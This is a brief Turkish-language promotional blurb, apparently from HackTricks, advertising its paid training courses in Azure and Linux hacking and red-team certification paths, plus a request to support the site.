Az Hacking öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE) Değerlendirme yolları (ARTA/GRTA/AzRTA) ve Linux Hacking Expert (LHE) için tam HackTricks Training kataloğuna göz atın.

HackTricks'i Destekleyin